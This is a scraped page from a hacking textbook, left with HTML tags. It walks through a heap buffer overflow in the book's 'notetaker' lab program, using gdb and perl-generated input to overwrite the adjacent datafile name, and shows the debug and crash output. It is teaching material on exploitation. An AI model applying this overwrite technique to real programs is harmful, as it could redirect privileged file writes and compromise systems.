26.07.2018 Views

hacking-the-art-of-exploitation

You also want an ePaper? Increase the reach of your titles

YUMPU automatically turns print PDFs into web optimized ePapers that Google loves.

Under normal conditions, <strong>the</strong> buffer allocation is located at 0x804a008,<br />

which is before <strong>the</strong> datafile allocation at 0x804a070, as <strong>the</strong> debugging output<br />

shows. The distance between <strong>the</strong>se two addresses is 104 bytes.<br />

reader@<strong>hacking</strong>:~/booksrc $ ./notetaker test<br />

[DEBUG] buffer @ 0x804a008: 'test'<br />

[DEBUG] datafile @ 0x804a070: '/var/notes'<br />

[DEBUG] file descriptor is 3<br />

Note has been saved.<br />

reader@<strong>hacking</strong>:~/booksrc $ gdb -q<br />

(gdb) p 0x804a070 - 0x804a008<br />

$1 = 104<br />

(gdb) quit<br />

reader@<strong>hacking</strong>:~/booksrc $<br />

Since <strong>the</strong> first buffer is null terminated, <strong>the</strong> maximum amount <strong>of</strong> data<br />

that can be put into this buffer without overflowing into <strong>the</strong> next should be<br />

104 bytes.<br />

reader@<strong>hacking</strong>:~/booksrc $ ./notetaker $(perl -e 'print "A"x104')<br />

[DEBUG] buffer @ 0x804a008: 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA<br />

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'<br />

[DEBUG] datafile @ 0x804a070: ''<br />

[!!] Fatal Error in main() while opening file: No such file or directory<br />

reader@<strong>hacking</strong>:~/booksrc $<br />

As predicted, when 104 bytes are tried, <strong>the</strong> null-termination byte overflows<br />

into <strong>the</strong> beginning <strong>of</strong> <strong>the</strong> datafile buffer. This causes <strong>the</strong> datafile to<br />

be nothing but a single null byte, which obviously cannot be opened as a file.<br />

But what if <strong>the</strong> datafile buffer is overwritten with something more than just a<br />

null byte?<br />

reader@<strong>hacking</strong>:~/booksrc $ ./notetaker $(perl -e 'print "A"x104 . "testfile"')<br />

[DEBUG] buffer @ 0x804a008: 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA<br />

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAtestfile'<br />

[DEBUG] datafile @ 0x804a070: 'testfile'<br />

[DEBUG] file descriptor is 3<br />

Note has been saved.<br />

*** glibc detected *** ./notetaker: free(): invalid next size (normal): 0x0804a008 ***<br />

======= Backtrace: =========<br />

/lib/tls/i686/cmov/libc.so.6[0xb7f017cd]<br />

/lib/tls/i686/cmov/libc.so.6(cfree+0x90)[0xb7f04e30]<br />

./notetaker[0x8048916]<br />

/lib/tls/i686/cmov/libc.so.6(__libc_st<strong>art</strong>_main+0xdc)[0xb7eafebc]<br />

./notetaker[0x8048511]<br />

======= Memory map: ========<br />

08048000-08049000 r-xp 00000000 00:0f 44384 /cow/home/reader/booksrc/notetaker<br />

08049000-0804a000 rw-p 00000000 00:0f 44384 /cow/home/reader/booksrc/notetaker<br />

0804a000-0806b000 rw-p 0804a000 00:00 0<br />

[heap]<br />

b7d00000-b7d21000 rw-p b7d00000 00:00 0<br />

b7d21000-b7e00000 ---p b7d21000 00:00 0<br />

b7e83000-b7e8e000 r-xp 00000000 07:00 15444 /r<strong>of</strong>s/lib/libgcc_s.so.1<br />

b7e8e000-b7e8f000 rw-p 0000a000 07:00 15444 /r<strong>of</strong>s/lib/libgcc_s.so.1<br />

Exploitation 151

Hooray! Your file is uploaded and ready to be published.

Saved successfully!

Ooh no, something went wrong!